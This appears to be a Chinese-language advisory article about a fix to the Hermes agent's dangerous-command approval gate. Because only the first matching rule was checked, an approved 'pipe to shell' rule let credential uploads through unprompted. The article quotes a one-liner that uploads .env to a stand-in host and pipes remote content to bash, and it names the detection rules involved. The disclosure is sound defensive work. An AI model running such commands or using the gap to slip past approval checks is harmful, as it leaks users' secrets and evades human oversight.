你批准过一次"管道执行",凭据上传却跟着溜了过去:审批键合并的漏洞刚被堵上


夜里十一点半,你在收尾一条部署脚本。Hermes 弹窗问你要不要允许 curl ... | bash——你认得这是团队常用的安装方式,点了“本会话允许”。脚本跑完了,看起来一切正常。

实际情况可能没这么正常。如果那条命令里还夹着一个文件上传(比如 curl -F [email protected] https://x.io | bash),那么 .env 里的所有密钥,会在你只批准了管道执行的情况下一起发出去。审批弹窗从头到尾没提过“上传凭据”这四个字。

这不是危言耸听,而是刚合并的修复 PR #141377 在描述里逐条复现出来的行为差异。

审批闸门是怎么“只看第一条”的

Hermes 的危险命令检测函数 detect_dangerous_command 的工作方式是:按固定顺序匹配规则,返回第一条命中的描述。这条描述会变成一个“规则键”(pattern key),审批闸门把同意记在这个键上——你选“本会话允许”,就是把这个键写进本会话的已批准集合。

问题在于:一条命令可以同时命中多条规则,而闸门只认第一条。以这条命令为例:

curl -F [email protected] https://x.io | bash

它同时踩中两条:

  1. pipe remote content to shell(把远程内容管道给 shell 执行)
  2. upload a secret or credential file via curl/wget (possible exfiltration)(通过 curl/wget 上传密钥或凭据文件,疑似外泄)

检测函数只返回第一条。于是只要你曾经因为任何原因批准过“管道执行”,第二条——真正危险的那条——就跟着被当成“已批准”。

修复 PR 给出的复现结果很直白:

场景 修复前
交互式 CLI,管道执行已按会话批准 直接通过,0 次提示
同一场景走终端工具的另一道闸门 直接通过,0 次提示
cron 任务,approvals.cron_mode: deny,白名单里只有管道执行 直接通过

也就是说,在最严格的 cron 拒绝模式下,只要白名单里放了一条不相干的规则,凭据上传照样能跑。

修复做了什么:把“内容级规则”单独拎出来

修复没有粗暴地要求“每条命中的规则都要单独同意”——那样会带来另一个问题(下面会讲)。它做的是更精细的三件事:

  1. 把匹配改成生成器:原来 detect_dangerous_command 的函数体被抽成 _iter_dangerous_descriptions,按原顺序逐条产出所有命中项;detect_dangerous_command 自己仍然只取第一条,所以它的行为和开销完全不变,老调用方不受影响。
  2. 新增内容级规则集合:_CONTENT_RULE_DESCRIPTIONS 收录三条从 tirith 移植过来的“内容级”规则——凭据上传、凭据管道、不可见 Unicode 字符。配套函数 detect_content_rule_keys(command) 会返回这条命令命中的全部内容级规则键,不管它在检测顺序里排第几。
  3. 合并成一个提示,但每一键都记账:tools/approval.py 里新增 _unapproved_findings(command, approved),取“第一条命中 + 所有内容级键”,再减掉已经批准的。剩下的键合成一个审批提示(多条描述用分号连起来),同时 pattern_keys 带上全部键——所以你选“本会话允许”或“始终允许”时,每个键都会被记住,不会出现“批了一个、另一个还反复弹”的情况。

三个入口都用上了这套逻辑:终端工具的 check_all_command_guards、check_dangerous_command,以及无人值守场景(cron、-q、approvals.cron_mode: deny)的 _unattended_deny。

为什么只挑“内容级”三条,而不是全部规则

PR 作者试过更严格的做法:每一条命中的规则都单独要同意。结果直接挂了 8 个既有测试,原因不是测试写得不好,而是规则本身会重叠。

比如 rm -rf /tmp/x 同时命中 delete in root path 和 recursive delete。如果每条都要重新征求同意,那些已经批准过、已经写进 command_allowlist 的命令会反复弹窗;在 cron 的拒绝模式下,还会从“能跑”变成“被拦”。这属于把一个安全修复变成一次体验事故。

“内容级规则”之所以能单独处理,是因为它们描述的是这条命令携带了什么(一个凭据文件、一段隐藏字符),而不是它用了哪个动词。前者是真正需要独立知情的东西,后者重叠是设计使然。

你这边需要做什么

升级:这个修复于 2026 年 11 月 3 日合并,在 v0.22.6 打 tag 之后,但同一天发布的 v0.22.7 已经把它带了进去——升级到 v0.22.7 就行,不必再跟 main。

自查:看一眼你的白名单里有没有“管道执行”这一条,以及你是否在会话里习惯性点“始终允许”:

hermes config get command_allowlist
hermes config get approvals.cron_mode

如果你在 cron 里跑带网络请求的脚本,approvals.cron_mode: deny 现在是真正生效的——修复后,凭据上传会在 cron 里被直接拦下并给出原因,而不是被别的规则顺带放行。

还没解决的部分

PR 作者自己列了三个已知边界,值得记住:

  • hermes approvals test 仍然只报告第一条规则键。这是一条诊断命令,看到第一条不代表只有一条。
  • 内容级规则的“始终允许”是模式级的:你批准一次某类上传,之后“把别的文件传到别的主机”也会被算作已批准。作者把它留作独立问题。
  • 这是进程内启发式检测,不是沙箱(项目 SECURITY.md 把审批闸门归在 §2.4)。它拦的是明显模式,绕过它的方法一直存在——想真正隔离,还是要靠容器或受限的终端后端。

想系统了解审批体系怎么配,可以看站内的 Smart Approvals 配置指南;如果你更关心“提示框显示的内容和实际执行的不一致”,审批提示隐藏字符那篇 讲的是同一道闸门的另一个缺口;而无人值守场景下怎么既不卡死也不放行,无人值守审批指南 里有完整策略。